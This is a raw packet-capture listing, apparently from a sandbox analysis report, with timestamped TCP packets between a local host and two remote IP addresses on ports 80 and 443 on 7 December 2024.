Dec 7, 2024 22:40:40.891640902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.892399073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.892456055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.892493963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.892534018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.893351078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.893409014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.893472910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.893517971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.894263029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.894313097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.894376993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.894418001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.895230055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.895287037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.895328999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.895375967 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.896208048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.896258116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.896290064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.896331072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.897156000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.897207022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.897248983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.897305012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.898068905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.898118973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.898170948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.898211002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.899007082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.899051905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.899097919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.899142981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.899957895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.900005102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.900048971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.900089979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.900887966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.900934935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.900975943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.901012897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.901818991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.901871920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.901957035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.902000904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.902767897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.902816057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.902878046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.902956009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.903743982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.903794050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.903825998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.903868914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.904658079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.904721022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.904752016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.904794931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.905602932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.905649900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.905704021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.905751944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.906610966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.906656027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.906656027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.906697035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.907531977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.907584906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.907613993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.907660007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.908482075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.908529997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.908576965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.908631086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.909394979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.909436941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.909481049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.909523010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.910367966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.910429001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.910451889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.910485983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.911328077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.911374092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.911417961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.911461115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.912254095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.912305117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.912318945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.912362099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.913165092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.913207054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.913269043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.913311005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.914136887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.914187908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.914239883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.914275885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.915060043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.915111065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.915148020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.915191889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.916069984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.916116953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.916172028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.916208982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.916928053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.916975021 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.917054892 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.917103052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.917934895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.917994976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.918049097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.918085098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.918874979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.918920040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.918982029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.919027090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.919784069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.919831038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.919883966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.919926882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.920701027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.920737028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.920864105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.920909882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.921675920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.921724081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.921758890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.921803951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.922636032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.922688961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.922718048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.922756910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.923561096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.923609018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.923696995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.923743963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.924503088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.924550056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.924618959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.924657106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.925422907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.925471067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.925544977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.925591946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.926386118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.926440001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.926480055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.926527023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.927328110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.927378893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.927417040 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.927457094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.928266048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.928312063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.928356886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.928402901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.929212093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.929258108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.929300070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.929348946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.930151939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.930197001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.930249929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.930286884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.931113005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.931163073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.931227922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.931274891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.932043076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.932106972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.932151079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.932190895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.933001995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.933053970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.933098078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.933136940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.933924913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.933964968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.934022903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.934067011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.934854984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.934900999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.934952974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.934993029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.935817957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.935859919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.935976982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.936022997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.936755896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.936803102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.936934948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.936975002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.937736988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.937781096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.937839031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.937875032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.938591003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.938636065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.942301035 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.942365885 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.942414045 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.942748070 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.942748070 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.942764044 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.942771912 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.943871021 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.943933964 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.944101095 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.944673061 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.944681883 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.944793940 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.944799900 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.948652029 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.948661089 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.948720932 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.949171066 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.949182034 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.949857950 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.949879885 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.949940920 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.950062990 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.950077057 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.951379061 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.951428890 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.951471090 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.951576948 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.951586962 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.951596022 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.951601982 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.954154968 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.954165936 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.954229116 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.954780102 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.954787970 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:41.081171989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.081233025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.081296921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.081334114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.081624031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.081669092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.081748009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.081854105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.082607985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.082650900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.082688093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.082726955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.083528996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.083596945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.083627939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.083664894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.084487915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.084532022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.084588051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.084630966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.085444927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.085490942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.085630894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.085671902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.086324930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.086370945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.086469889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.086512089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.087270021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.087322950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.087388992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.087431908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.088247061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.088310003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.088341951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.088380098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.089219093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.089262009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.089303970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.089358091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.090152025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.090203047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.090256929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.090296984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.091067076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.091109991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.091190100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.091231108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.092017889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.092060089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.092118979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.092156887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.093008041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.093044043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.093082905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.093117952 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.093916893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.093962908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.094034910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.094078064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.094855070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.094898939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.094960928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.095004082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.095799923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.095844030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.095906973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.095942974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.096735001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.096776009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.096883059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.096925020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.097717047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.097765923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.097815037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.097852945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.098733902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.098777056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.098921061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.098961115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.099602938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.099647045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.099735022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.099775076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.100558043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.100598097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.100656033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.100697994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.101547003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.101593971 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.101648092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.101691008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.102545023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.102569103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.102895975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.103363991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.103403091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.103496075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.103538990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.104386091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.104437113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.104454994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.104758024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:41.105262041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:41.105302095 CET	49790	80	192.168.2.6	185.215.113.206
